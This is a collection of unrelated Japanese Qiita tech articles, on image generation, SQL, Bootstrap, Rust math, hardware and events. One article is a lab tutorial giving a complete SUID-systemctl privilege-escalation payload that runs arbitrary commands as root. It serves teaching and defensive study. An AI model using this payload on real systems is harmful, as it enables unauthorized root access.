OmniAICreator/Qiita-1.07M huggingface dataset:
【ChatGPT＋DALL-E3】画像の中にひとりのキャラを複数生成する方法。


　どうも、カーブミラーです。

　今回は、ひとつの画像の中に、ひとりのキャラを複数生成する方法です。

:::note info
本記事は、ChatGPT（有料版）
＋DALL-E3で行なっております。
画像はあります。　あしからず。
:::

　まずは、ニュース。

　OpenAIが
　　Stack Overflowと
　　　業務提携しました。
[【朗報：最大級のエンジニアQ&AサイトStack OverflowとOpenAIが業務提携】](https://x.com/masahirochaen/status/1787601161413071120?t=UYHe2cMC_V9LCrrFwE3LNw&s=03)

　Stack Overflowと言えば
　　開発者コミュニティで有名です。

　そこでは
　　多くの質疑応答がなされ
　　　膨大なデータが
　　　　蓄積されています。

　それが
　　GPTの学習に使われれば、
　　　開発者の利益に繋がります。
　　　　たぶん😅
***
　それから
　　ChatGPTの
　　　ドメインの変更がありました。

　旧: chat.openai.com
　新: chatgpt.com

***
　では、本題です。

　今回は、
　　ひとつの画像の中に
　　　ひとりのキャラを
　　　　複数生成する方法です。

　YouTuberのKEITOさんが
　　同じキャラを複数出せる方法を
　　　ショート動画でアップして
　　　　くださいましたので
　　　　　それを紹介します。
[簡単に同一キャラ複数ポーズを生成する方法](https://youtube.com/shorts/uB4U-cVinYo?si=cs51PMrFhyCIYs06)

　方法は、とても簡単でした。
　❶もととなる画像を生成して
　　　ged_idを取得
　❷ged_idをプロンプトとともに
　　　ChatGPTに渡す
　以上。

　まぁ、簡単とはいえ、
　　実際のものを見ないと、ね😅
***
***user***
18歳金髪碧眼女性ゆるふわロング。描画してから、gen_idを出してください

***ChatGPT***
![A_portrait_of_an_18-year-old_woman_with_golden_blo.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3457238/78c78939-5f2b-f1c0-51be-f509e8bec96c.jpeg)
画像を生成しました。gen_idは「0mfDYiHeEeiraewr」です。画像を確認してください。

***user***
彼女の表情を六つ、gen_idは「0mfDYiHeEeiraewr」を保ったまま、描画してください

***ChatGPT***
![Converted_Image.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3457238/fceddd8d-5172-7d7a-bb2c-476e2b589faa.jpeg)
（リアルアニメ風になってる）

***user***（念のため、Prompt Check）
英語プロンプト出力。和訳。

***ChatGPT***
こちらが、画像生成に使用した英語プロンプトです：

"Create six expressions of the 18-year-old woman with golden blonde, wavy long hair and bright blue eyes from the previous image (gen_id: 0mfDYiHeEeiraewr). The expressions should include happiness, sadness, surprise, anger, contemplation, and joy. Each expression is distinctly conveyed through subtle changes in her facial features while maintaining her youthful appearance. The background remains softly blurred to focus on her expressions."

和訳は次の通りです：

「前の画像（gen_id: 0mfDYiHeEeiraewr）の金髪で波打つロングヘア、明るい青い目を持つ18歳の女性の６つの表情を作成してください。表情には喜び、悲しみ、驚き、怒り、思索、及び楽しみを含めてください。それぞれの表情は、若々しい外見を保ちつつ、彼女の顔の微妙な変化を通じてはっきりと伝えられます。背景は彼女の表情に焦点を当てるために柔らかくぼかされたままです。」
***

　どうでしょうか？

　ged_idを使うのがポイント、と
　　いうところですね。

　ちなみに、
　　ged_idを指定して
　　　描画させても
　　　　同じキャラは出てきますが、
　　　　　ポーズや表情が
　　　　　　微妙に違います。
　　　　　　　そこは注意が必要です。

　みなさんの
　　作品制作の糧に
　　　なれば、幸いです。

　今回は、ここまで。
色々な和を O(1) で計算しよう!

コード例はすべて Rust で書かれている。問題のネタバレあり。

## 基本

$\sum_{i = 0}^n i = n(n+1)/2$
$\sum_{i = 0}^n i^2 = n(n+1)(2n+1)/6$
$\sum_{i = 0}^n i(i-1) = n(n+1)(n-1)/3$ ($\sum_{i = 0}^n i(i+1) = n(n+1)(n+2)/3$)

## 絶対値の和
$0 \le a \le n$ のとき、
```math
\begin{align}
\sum_{i=0}^n |i-a| &= a + \cdots + 1 + 0 + 1 + \cdots + (n-a) \\
&= (a(a+1) + (n-a)(n-a+1))/2
\end{align}
```

```rust:diffsum.rs
fn diffsum(n: i64, a: i64) -> i64 {
    let mut tot = a * (a + 1) / 2;
    tot += (n - a) * (n - a + 1) / 2;
    tot
}
```

```math
\begin{align}
\sum_{i=0}^n \sum_{i=0}^n |i-j| &= 2\sum_{a=0}^n a(a+1)/2 \\
&= n(n+1)(n+2)/3
\end{align}
```

## 一部だけ取り除く

https://kmyk.github.io/cp-unspoiler/?q=aHR0cHM6Ly9hdGNvZGVyLmpwL2NvbnRlc3RzL2FyYzE3Ni90YXNrcy9hcmMxNzZfZA%3D%3D から例題。
<details><summary>ネタバレ (問題へのリンク)</summary>
ARC176-D https://atcoder.jp/contests/arc176/tasks/arc176_d
</details>

部分問題として以下のような問題を解く必要がある。

1. $\sum_{1\le i \le n, i \neq b} |i-a|$
2. $\sum_{\\{i, j\\} \subseteq \\{1,\ldots,n\\}, \\{i,j\\} \cap \\{a,b\\} = \emptyset} |i-j|$ ($a \neq b$)

`1.` は `diffsum(n, a) - a - (b - a).abs()` で簡単。`2.` について、包除原理を使ってみよう。
考慮すべき条件は $i=a$, $i=b$, $j=a$, $j=b$ の 4 種類。これらの部分集合について包除原理を使えば良いが、考慮すべき部分集合は
|条件|重み|
|--|--|
|$\mathrm{true}$ (条件なし) |1|
|$i=a$|-1|
|$i=b$|-1|
|$j=a$|-1|
|$j=b$|-1|
|$i=a \wedge j=b$|1|
|$i=b \wedge j=a$|1|

の 7 種類である。(4 頂点 4 辺のサイクルの独立集合の個数と同じ。) $i=a \wedge j=a$ のような矛盾する条件の下での和は 0 であり、あってもなくても一緒なので包除原理を考える時はあるとみなしてやれば普通の包除原理と同じ係数 ($(-1)^{\mathrm{条件の個数}}$) になることがわかる。
PostgreSQL: スキーマにコメントをつける

## 環境

ユーザー scott
データベース　city

city というデータベースに、city というスキーマを作成します。

## コメントの付加

```sql:set_comment.sql
comment on schema city is '都市名';
```

実行コマンド

```bash
psql -U scott city < set_comment.sql
```

## コメントの確認

```sql:get_comment.sql
SELECT n.nspname AS schema_name, d.description
FROM pg_catalog.pg_namespace n
LEFT JOIN pg_catalog.pg_description d ON d.objoid = n.oid AND d.objsubid = 0;
```

実行コマンド

```bash
psql -U scott city < get_comment.sql
```

実行結果

```text
$ psql -U scott city < get_comment.sql
    schema_name     |           description            
--------------------+----------------------------------
 pg_toast           | reserved schema for TOAST tables
 pg_catalog         | system catalog schema
 public             | standard public schema
 information_schema | 
 city               | 都市名
(5 rows)
```

## 別の確認方法

```text
$ psql -U scott city
psql (16.2 (Ubuntu 16.2-1ubuntu4), server 14.8 (Ubuntu 14.8-0ubuntu0.22.10.1))
Type "help" for help.

city=# select  * from pg_description where objoid = (SELECT oid FROM pg_catalog.pg_namespace WHERE nspname = 'city');
 objoid | classoid | objsubid | description 
--------+----------+----------+-------------
  93405 |     2615 |        0 | 都市名
(1 row)

city=#
```
【ハッキング入門】systemctlを利用した権限昇格

# 概要

`/bin/systemctl`にSUIDがセットされている場合、それを悪用し権限昇格に利用できます。

:::note info
[SUIDビットが設定されたファイルの検索方法](https://qiita.com/kk0128/items/78acb48b70b3905f7eab)についての記事も併せてご覧ください。
:::

# 環境

- OS: AlmaLinux 8.9
 
```
$ cat /etc/almalinux-release
AlmaLinux release 8.9 (Midnight Oncilla)
```

`systemctl`にSUIDがセットされています。

```
$ ls -l /bin/systemctl 
-rwsr-xr-x. 1 root root 223688 10月 15  2023 /bin/systemctl
```

現在は一般ユーザーアカウント`user`でログインしています。

```
$ whoami 
user
```

# 権限昇格

使用するペイロード全体は下記。
最初に簡単に説明すると、`systemctl`のユニットファイルを置き換えて任意のコマンドをroot権限で実行しています。

```
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "id > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
sudo systemctl link $TF
sudo systemctl enable --now $TF
```

少し詳しく解説します。

まず、`TF=$(mktemp).service`を実行します。

ここでは、`systemdのユニットファイルパス`を`TF`という変数に入れています。ファイル名は`mktemp`コマンドで適当なファイル名を付けています。

```
[user@localhost ~]$ TF=$(mktemp).service
[user@localhost ~]$ echo $TF
/tmp/tmp.MXTewjrxXT.service
```

:::note info
`mktemp`コマンドで作業用の一時ファイル，一時ディレクトリを作成できる。

```
$ mktemp 
/tmp/tmp.RhAZQDLWNl
```
:::


次に、`echo '[Service] Type=oneshot ExecStart=/bin/sh -c "id > /tmp/output" [Install] WantedBy=multi-user.target' > $TF`を実行します。

ここでは、`'[Service] Type=oneshot ExecStart=/bin/sh -c "id > /tmp/output" [Install] WantedBy=multi-user.target'`の文字列を先ほど作成したユニットファイルに保存しています。

`cat`コマンドでユニットファイルに保存されていることを確認できます。

```
[user@localhost ~]$ echo '[Service] Type=oneshot ExecStart=/bin/sh -c "id > /tmp/output" [Install] WantedBy=multi-user.target' > $TF
[user@localhost ~]$ cat $TF
[Service] Type=oneshot ExecStart=/bin/sh -c "id > /tmp/output" [Install] WantedBy=multi-user.target
```

ユニットファイルの各要素については[RedHatカスタマーポータル](https://access.redhat.com/documentation/ja-jp/red_hat_enterprise_linux/7/html/system_administrators_guide/sect-managing_services_with_systemd-unit_files)を参考にしてください。
今回重要なのは`ExecStart`です。

>ExecStart： ユニットの開始時に実行するコマンドまたはスクリプトを指定します。
>>引用：[RedHatカスタマーポータル](https://access.redhat.com/documentation/ja-jp/red_hat_enterprise_linux/7/html/system_administrators_guide/sect-managing_services_with_systemd-unit_files)

今回の場合`id`コマンドが`systemctl`開始時にroot権限で実行されます。
ここをroot権限で実行したいコマンドに適宜置き換えて下さい。

そしてコマンドの実行結果を`/tmp/output`ファイルに保存するよう指定しています。

次に、`/bin/systemctl link $TF`を実行します。

```
$ /bin/systemctl link $TF
Created symlink /etc/systemd/system/tmp.MXTewjrxXT.service → /tmp/tmp.MXTewjrxXT.service.
```

ここでは、`systemctl`コマンドのユニットファイルパスを`TF`変数のファイルパス`/tmp/tmp.MXTewjrxXT.service`にリンクさせています。

:::note info
`systemctl`の`link`についての詳細は`man`コマンドや[こちらのサイト](https://www.freedesktop.org/software/systemd/man/latest/systemctl.html)から確認してください。
:::

最後に、`sudo systemctl enable --now $TF`を実行します。

ここでは、`systemctl`を実行しています。
実行することで、`ExecStart`で指定したコマンドの結果が、指定したファイルパスに保存されていることが確認できました。

```
$ cat /tmp/output 
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0
```

:::note info
今回は`id`コマンドの結果を`/tmp/output`ファイルに保存しました。
結果、root権限で実行された`id`コマンドの出力を確認できました。
:::

上記の流れで権限昇格に成功しました。

# 参考サイト

https://gtfobins.github.io/gtfobins/systemctl/

https://aws-sec-blog.pages.dev/posts/privilege-escalation-suid-systemctl/
Bootstrap 5を使用してフォームの要素を縦方向に中央揃えにする方法

## 基本的なフォームの構造

まずは、シンプルなフォームのHTML構造を考えてみましょう。以下の例では、`<tr>`タグ内に`<th>`（ラベル）と`<td>`（入力フィールド）が配置されています。

```html
<tr>
  <th>日付</th>
  <td>
    <input type="date" class="form-control">
  </td>
</tr>
```

## Flexboxを利用した中央揃え

Flexboxは、一次元のレイアウトを簡単に整理するための強力なツールです。Bootstrap 5 は `d-flex` クラスを提供しており、これを使うことで、子要素を簡単に横に並べることができます。また、`align-items-center` クラスを使用することで、要素を縦方向に中央揃えにすることが可能です。

以下の例では、`<td>`内でFlexboxを使って日付入力フィールドを中央揃えにしています。

```html
<td>
  <div class="d-flex align-items-center h-100">
    <input type="date" class="form-control">
  </div>
</td>
```

### 実際の応用例

日付フィールドが存在しない場合のラベルと入力フィールドの中央揃えについて考えてみましょう。以下のコードでは、`<th>` と `<td>` を使って、日付選択をきれいに中央揃えにしています。

```html
<tr>
  <th class="align-middle">日付を選択</th>
  <td>
    <div class="d-flex align-items-center h-100">
      <input type="date" class="form-control">
    </div>
  </td>
</tr>
```

### 説明
**`d-flex align-items-center`:**
Flexbox を用いて、子要素を中央揃えにします。`<td>`内の日付入力フィールドのラップにこのクラスを適用し、縦方向の中央に位置させます。
**`h-100`:**
要素を親の高さいっぱいに伸ばすために使用します。このクラスを使うことで、`<td>` の高さに合わせて日付フィールドが中央に来るようになります。
**`align-middle`:**
このクラスはBootstrapにおいて縦方向の中央揃えを行う際に便利です。`<th>`タグに適用することで、テキストがセルの中央に来るように調整します。
このコードにより、「日付を選択」のラベルと日付選択フィールドが視覚的にも整理され、一貫性のあるレイアウトが実現されます。
Everything You Need to Know About Radio Fundamentals: A Comprehensive Guide

Hey guys, so I was doing some reading the other day and ended up majorly geeking out over this topic. You ever wonder how wireless devices work their magic even when you can't see what's happening? The science behind radio frequencies and electromagnetic fields is mind glowingly complex the deeper you get into it. 

It turns out there's this whole intricate "language" all around us in radio waves that we don't usually stop to think about. But once you start learning the "alphabet," so to speak, you see how it reveals super cool insights about how we silently communicate on levels we don't notice. Some of the phenomena are just straight-up trippy too.

I was thinking it could be an interesting chat sesh if I yapped your ears off about what I picked up over snacks or something. I'd love to try explaining signals, noise, patterns - all the weird secret guidelines shaping our digital world. Who knows, maybe we could puzzle over more mysteries together too?

Lemme know if you dudes want to meet up so I can infodump my new radio knowledge. Cracking electromagnetic codes might lead to some stimulating convos! What do you think, wanna start decoding invisible secrets with me? Could be a vibe.

<iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="" frameborder="0" height="auto" src="https://www.youtube-nocookie.com/embed/f-Fh668UvCI?rel=0" title="YouTube video player" width="100%"></iframe>
GitHubでFork元がPrivateのリポジトリを移行しようとしたら手続きが割と多かった件について

## 1. 概要
株式会社システムアイRGA事業部の福島です。

今回、GitHubリポジトリの移行を実施することとなり、その作業担当として「移行作業は簡単に終わるだろう」と思っていましたが、色々と手続きが多く、ネットで出回っている情報が少なかったので、ここで困った点などを皆さんに共有できればと思い、この記事を書きました。

ただ、公開できない情報もありますので、色々と端折っている部分があります。

## 2. 要件
* リポジトリに紐づいているWikiやissue、設定もまとめて移行してほしい
* 本番環境に影響がないようにしてほしい

上記が今回の作業の要件となります。
ですので、一度、「Forkして〜〜」という方法を考えていましたが、色々と調査してGitHubの「Transfer」機能を使うことにしました。

https://docs.github.com/ja/repositories/creating-and-managing-repositories/transferring-a-repository

Transferの良いところは、移行するリポジトリに紐づくissueや設定を丸ごと、別のアカウントに移行できることです。GitHab Actionsで本番環境を操作しているリポジトリですと、環境変数もそのまま移行でき、無駄にGitHab Actionsを回すことがないので、本番環境の影響を最小限に抑えることができます。

## 3. 前提
移行作業を実施する前は、移行元と移行先のGitHubアカウントの権限を付与してもらっておきましょう。
私の場合ですと下記の権限を付与してもらっていました。
移行元・・・管理者権限
移行先・・・メンバー権限

## 4. 作業
### 4.1. 作業当日
作業当日、指定されたリポジトリ移行作業を進めていきましたが、途中で、「あれ、移行できないリポジトリがある」となりました。

とりあえず、移行できるリポジトリは全て移行し、移行できないリポジトリは残して、一旦作業は終了。
原因調査を開始です。

### 4.2. 原因調査
それから原因を調査していきました。
そうしますと、上記リンク先のGitHubのTransferのドキュメントに下記の文言がありました。
> Single repositories forked from a private upstream network cannot be transferred.

「Fork元の公開範囲がPrivateのリポジトリはTransferできません」とのこと。
本当に申し訳ありませんでした、、、この文言、見逃していました。

実は、リポジトリの一つにForkしたリポジトリがありました。
しかもPrivate。
そのことは知っていたので練習用のリポジトリで検証も行ったのですが、、、公開範囲がPublicにした練習用のリポジトリでしたので、意味がなかったです。
検証用もちゃんと作れという話ですよ、、、こんなことになるとは、、、反省です。

そして、「Fork元がPrivateのリポジトリをTransferで移行する」方法はあるのかという調査を始めました。

### 4.3. 実現方法の調査
調査の前に「ローカルでForkして、新しいリポジトリを作って、そこにPush」という方法を検討しましたが、実現可能ではあるが、移行の手順の多さや移行前と移行後の設定の保証を考えるとTransferが良いとのこと。

その中でTransferを使った移行方法を調査したところ、下記リンク先の記事を見つけました。
* https://ralphjsmit.com/unfork-github-repo
* https://aloerina01.github.io/tip/2018-05-21-1

解決策としては、「GitHubサポートに連絡する」とのこと。
下記リンク先の「Forkを切り離す」から英語でGitHubサポートに依頼しました。
https://support.github.com/request/fork

上記リンク先を参考に下記の文言でサポートに依頼。
> Hello, I'm takahiro fukushima from SystemI co.
In the below repository, I'like to unfork and turn it into a standalone repository.
・　https:// Forkの関連を切り離したリポジトリのURLを記載
and I never merge to 「https:// Fork元のリポジトリのURLを記載」 .
Finally I want to Transfer it, so I’m not able to do like Help Page that git clone and create new repository ….
Thank you for being patient with my English.

大まかに「Forkを切り離してほしい。ただFork元とマージはしない。」という内容です。

8時間後に返信がありましたが、「あなたにはFork元のアカウントの権限がないので、Forkの切り離しができません。Fork元から管理者権限を付与してもらうか、Fork元に切り離しを依頼してもらうかのどちらかでお願いします」とのこと。

ということで、今回はFork元のアカウントに切り離しの依頼をお願いしてもらう方法で対応し、それから8時間後、無事Forkの切り離しを確認できました。

その後の移行作業も無事完了しました。

## 最後に 
基本的に開発でしかGitHubを使わないので、Forkであったりリポジトリの移行であったりは、全く分からない状況からのスタートでした。

思ったより権限や本番環境への影響を考えることが多く、情報が少ない作業を担当することができ、会社と自分にも知見が溜まったかと思います。

もし何かご指摘等ありましたら、コメント等でご連絡いただけるとありがたいです。
よろしくお願いいたします。
BVE 鉄道シミュレーターで自宅運転台を動かそう~表示灯を動かそう

BVE 鉄道シミュレーターで自宅運転台を動かそうの続きとして表示灯を動かしてみましょう。
今回動かすのは東京メトロ8000系の表示灯です。
![8000-1.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/285344/e2b1c8c7-7a01-aaf2-cfe0-fa02f52276b7.jpeg)
各LEDは抵抗がつながっており直流100Vを印加することで点灯します。
*抵抗によって、印加する電圧が異なります。
![8000-4.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/285344/890e51c5-589d-559d-3bdb-0afafc1a63f6.jpeg)
直流100Vを印加した状態です。
![8000-5.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/285344/382fb940-e1ee-0095-6655-e0976d8b071f.jpeg)
今回は、交流⇒直流変換とシフトレジスタを組み合わせた点灯用回路を作ってみました。
![8000-3.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/285344/05b19e92-8eaf-08ab-990d-9062e05bb4d5.jpeg)
制御部はフォトカプラ TLP627を使用しています。
直流100Vの制御が可能なリレーは種類が少なく、フォトカプラを使用しています。
＊多くのリレーは交流については250Vなどに対応していますが、直流は30V程度までが多いようです。
TLP627はコレクタエミッタ間電圧max300Vという事で直流100Vでの動作が可能です。
BVEで使用するATC常用・ATC非常・耐雪ブレーキを点灯できるようにしました。
![8000-2.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/285344/69043699-d99a-c19b-09a3-136c159d6ce6.jpeg)
これで100Vの表示灯を制御できるようになりました。
TiDB 関連イベント 6月分

梅雨も近づいて来ましたが、6月はイベントが目白押しです!
毎月恒例のイベントの一覧です。

PingCAP主催のもの、コミュニティイベントに参加するものの両方を記載しています。
WebinarについてはJSTで6:00-24:00に開催されるイベントを記載しています。

イベント/社内勉強会でTiDBについて話してほしいというリクエストはお気軽に @bohnen ([X/@bohnen](https://twitter.com/bohnen)) までご連絡ください。

## 6月15日(土) Cloud Native Days Summer 2014 

https://event.cloudnativedays.jp/cnds2024/talks/2249

最近様々なサーバレスマネージドDB/Cacheが出てきていますが、そのアーキテクチャや技術について、PingCAP SAの小板橋さんが発表します。 :sparkles:

## 6月16日(日) もめんと Meetup #9 北海道

https://momentocommunity.connpass.com/event/314035/

Momentoさんのイベントに参加させていただきます。 "True Serverless"仲間としてTiDB Serverlessの話をする予定です。CNDSの翌日に参加してみてはどうでしょうか？

## 6月20日(木)、２１日（金） AWS Summit Japan 2024

https://prtimes.jp/main/html/rd/p/000000061.000089466.html

AWS Summit Japan 2024でも講演・出店を行います。
Tシャツプレゼントキャンペーンをやっていますので、ぜひ登録してください！

## 6月22日(土) 第14回 関西DB勉強会

https://kansaidbstudy.connpass.com/event/316348/

関西DB勉強会でTiDBについて話します。MySQL/PostgreSQLの最新情報や、Snowflake, TiDBそしてDBREなど、盛りだくさんのトピックで今から楽しみです！

# 6月27日（木） 19:00- TiDB User Group #2 （ハイブリッド）

https://tiug.connpass.com/event/319016/

今回はPingCAP CTO のEd Huangが講演予定！ なお逐次通訳で担当は私です。本職じゃないので意訳なのはご容赦ください :sweat_smile:
また、分散DBエキスパートのこばさんより、TiDBの高可用性パターンについての発表があります。こちらも期待大！
ハイブリッド開催ですが、現地に足を運んでいただけると嬉しいです！

# 6月28日(金)、29日(土) Developers IO 2024 in Fukuoka: Day2 14:50- 

https://classmethod.connpass.com/event/318652/

https://classmethod.connpass.com/event/317870/

**Day2** のスポンサーセッションで発表します。TiDB ServerlessはAWS環境との親和性も高く、Bedrockのような新サービスともスムーズに連携できます。気軽に使ってみませんか。

## 7月3日（水） TiDB User Day :congratulations:

https://pingcap.co.jp/tidb-user-day/

ちょっと気が早いですが、年に一回のTiDBオンリーイベント、TiDB User Dayのご案内です。
今年も豪華ゲストをお招きしてハイブリッドで開催します。（※現地参加は招待制となります）
是非オンラインも上記のリンクからお申し込みください。
共分散(covariance)

## 共分散(covariance)
・2つの変数間の相関関係を表す指標
・次回紹介する相関係数を求めるのに重要な指標

まずは1変数の分散がどのようになるか考えてみましょう。
**1変数の分散**

```math
s^2_x = \frac{1}{n}\sum^n_{i=1}(x_i-\bar{x})^2 = \frac{1}{n}\sum^n_{i=1}(x_i-\bar{x})(x_i-\bar{x})
```
![1変数の分散(x軸).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3780659/9eb9b9b9-b78d-f073-a3a0-6173b34d6dc3.png)

```math
s^2_y = \frac{1}{n}\sum^n_{i=1}(y_i-\bar{y})^2 = \frac{1}{n}\sum^n_{i=1}(y_i-\bar{y})(y_i-\bar{y})
```
![1変数の分散(y軸).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3780659/39a7b0ca-3d91-edf9-b4b0-ca7b8a1ef42d.png)

上記から、2変数間のグラフがどのようになるか考えます。
すると、グラフは下記のようになり、xが大きくなるとyも大きくなるxとyの相関関係があることがわかります。
![共分散.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3780659/4b95fdcb-65e6-2083-dd5c-71f38ef7b770.png)

**xとyの相関係数$s_{xy}$**
```math
s_{xy} = \frac{1}{n}\sum^n_{i=1}(x_i-\bar{x})(y_i-\bar{y})
```

なぜ、共分散が上記のような式になるかというと、下記の図のように、全てのデータにおいて、$(x_1$-$\bar{x})$ * $(y_1$-$\bar{y})$ + $(x_2$-$\bar{x})$ * $(y_2$-$\bar{y})$ + $(x_3$-$\bar{x})$ * $(y_3$-$\bar{y})$ ....
を計算し、平均をとるためである。 
![共分散(補足).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3780659/a1d0744a-9a28-8b27-7f06-ebb8d19f1897.png)


## 共分散行列(covariance matrix)

・複数の変数間の分散と共分散を行列にしたもの
・分散共分散行列ともいう

**変数$x, y$の場合**
```math
S =
\begin{bmatrix}
   s^2_x & s_{xy} \\
   s_{yx} & s^2_y
\end{bmatrix}
```
**変数$X_1,X_2,...,X_n$の場合**
```math
S=
\begin{pmatrix} 
  s_{11} & s_{12} & \dots  & s_{1n} \\
  s_{21} & s_{22} & \dots  & s_{2n} \\
  \vdots & \vdots & \ddots & \vdots \\
  s_{n1} & s_{n2} & \dots  & s_{nn}
\end{pmatrix} 
```
**Pythonで実践**
共分散行列を求める
・np.cov(xarray, yarray, bias=True)
・np.cov(array, bias=True)

```
import numpy as np
import seaborn as sns

# データ準備
df = sns.load_dataset('tips')
df['tip_rate'] = df['tip'] / df['total_bill']

np.cov(df['total_bill'], df['tip'], bias=True)
```
結果
array([[78.92813149,  8.28938892],
　　　[ 8.28938892,  1.90660851]])


複数の変数間の場合
```
'total_bill', 'tip', 'size'についてnp.stackで連結する
array = np.stack([df['total_bill'], df['tip'], df['size']], axis=0)

np.cov(array, bias=True)
```
結果
array([[78.92813149,  8.28938892,  5.04522121],
　　　[ 8.28938892,  1.90660851,  0.64126747],
　　　[ 5.04522121,  0.64126747,  0.9008835 ]])
WIZnet W5500-EVB-PicoをArduinoで使ってみよう

__WIZnet W5500-EVB-Pico__ を入手しましたので触ってみます。
![W5500-EVB-Pico.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/285344/bbd6f146-c6e7-ab15-66d5-5b65720583bd.jpeg)
# WIZnet
__WIZnet__ は韓国のEthanetチップのメーカーで、シリアルtoイーサネットモジュールなどが有名なメーカーになります。

https://wiznet.io/

１０年ほど前にイーサネットtoシリアルボードWIZ110SRを購入して使用していました。
__WIZ110SR__ は __仮想シリアルポート(VSP)__ により、ネットワーク越しにシリアルポートを制御できる製品です。
これにより工場などの機械の制御が可能でした。
https://www.wiznet.hk/en/serial-to-ethernet-module/38-wiz110sr.html
# W5500-EVB-Pico
今回使用する __W5500-EVB-Pico__ は __W5500__ のチップと __RaspberyPiPico__ の __RP2040__ を搭載した __オリジナルRaspberyPiPico__ ボードになります。

https://docs.wiznet.io/Product/iEthernet/W5500/w5500-evb-pico

__RaspberyPiPico__ をイーサネット越しに制御可能であり、もちろんGPIOを制御することもできます。

# 資料

https://docs.wiznet.io/Product/iEthernet/W5500/w5500-evb-pico
# 電源を入れてみる
初期プログラムでは、192.168.11.２が応答するものでした。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/285344/887d89ec-42db-0638-7768-30ba893e7d19.png)
# Arduinoで使ってみる
続いてArduinoで使ってみましょう。
__ファイル→環境設定__
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/285344/126eb696-f432-42f7-ffa5-41d13414350f.png)
__追加のボードマネージャのURL：__

    https://github.com/WIZnet-ArduinoEthernet/arduino-pico.git
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/285344/d286cc78-40cb-2e30-f7ec-50fb2649dc0c.png)
__ツール→ボードマネージャ__
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/285344/1d1a363f-1fa3-6eaf-72c6-1d3804ccf981.png)
__Raspberry Pi Pico/RP2040 Ethenet by WIZnet__ を選択してインストールします。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/285344/adfa66df-4c7e-802b-74a4-640914b613de.png)
ボード設定をインストール後、__ツール→ボード:RaspberryPi RP2040→WIZnetW5500-EVB-Pico__ を選択します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/285344/a8d40c28-15bc-a213-589d-5b185373143d.png)
今回は、サンプルから __WebServer__ を選択します。
４３行目のコメントアウトを外します。
２８行目のIPアドレスは自身の設定に合わせて変更します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/285344/f286f929-c190-a9e0-b191-521cac5a1d02.png)
９７行目のアナログチャネルは２６～２８までのため、26~29とします。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/285344/1aa66987-df81-16e1-2cd6-2c86d5637db5.png)
実行することで、WEBページにアナログチャネルの電圧が表示されると思います。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/285344/094a277c-8948-8fc6-91e8-967442f2cfba.png)
# 仮想シリアル(WIZ VSP)が使えない
W5500-EVB-PicoはWIZ505SR-RPのような仮想シリアルポートが使用できません。
仮想シリアルポートが使えるとさらに面白くなるだけに少し残念です。

https://docs.wiznet.io/Product/S2E-Module/WIZ5xxSR-RP-Series/WIZ505SR-RP/overview
Amazon Redshiftにおいて外部テーブルのカラムにコメントを付与したい

## 背景
Amazon Redshift において、テーブルやカラムにコメントを設定することが可能です。

https://docs.aws.amazon.com/ja_jp/redshift/latest/dg/r_COMMENT.html

案件で Glue Data Catalog を利用するのですが、こちらにもカラムごとにコメントを設定する機能がありますね。
そこで、Redshiftでテーブル登録する際にDDLでまとめてコメント登録できるといいなと思っての検証です (まぁできないんですけどね)。

## Redshiftにおけるコメント可否まとめ
そもそもテーブルやViewの種類によってコメントできるものとできないものがあります。
結果としては下記のようになりました。

||テーブルに対するコメント|列に対するコメント|
|----|----|----|
|実テーブル|○|○|
|実テーブルのView|○|○|
|外部テーブル|×|×|
|外部テーブルのView|○|×|

Glue Data Catalog に登録されるテーブルはRedshiftにとって外部テーブルとなるわけですが、どうやらRedshiftから直接外部テーブルにコメントを付与することはできないようです。

例外として、外部テーブルのViewに対してはコメントを付けることが可能です。
外部テーブルのViewを作成する際には`with no schema binding` オプションが必要となります。

ただし、実テーブルでは列ごとにもコメントできるのに対して、外部テーブルのViewでは不可となります。

一応、AWSサポートにも問い合わせてみましたが、
> 大変恐縮ではございますが、現時点では、Redshift で外部テーブルを参照したビューの列に対してコメントを作成することはできかねます。なお、外部テーブルを参照したビューの列のみならず、外部テーブルに対してもコメントが作成できないことも確認いたしました。

とのことでした (2023年11月時点)。

## 外部テーブルにコメント付与した際の挙動
### 外部テーブルの場合
```sql
COMMENT ON TABLE ext_test.test IS 'コメントのテスト';
```
→ ERROR: Operation not supported on external tables

### 外部テーブルの列の場合
```sql
COMMENT ON COLUMN ext_test.test.test_id IS 'コメントのテスト';
```
→ ERROR: Operation not supported on external tables

### 外部テーブルのViewの場合
```sql
create or replace view comment_test as select * from ext_test.test
with no schema binding;
```

```sql
COMMENT ON VIEW comment_test IS 'コメントのテスト';
```
→ COMMENT executed successfully

### 外部テーブルのViewの列の場合
```sql
COMMENT ON COLUMN comment_test.test_id IS 'コメントのテスト';
```
→ ERROR: column "test_id" of relation "comment_test" does not exist

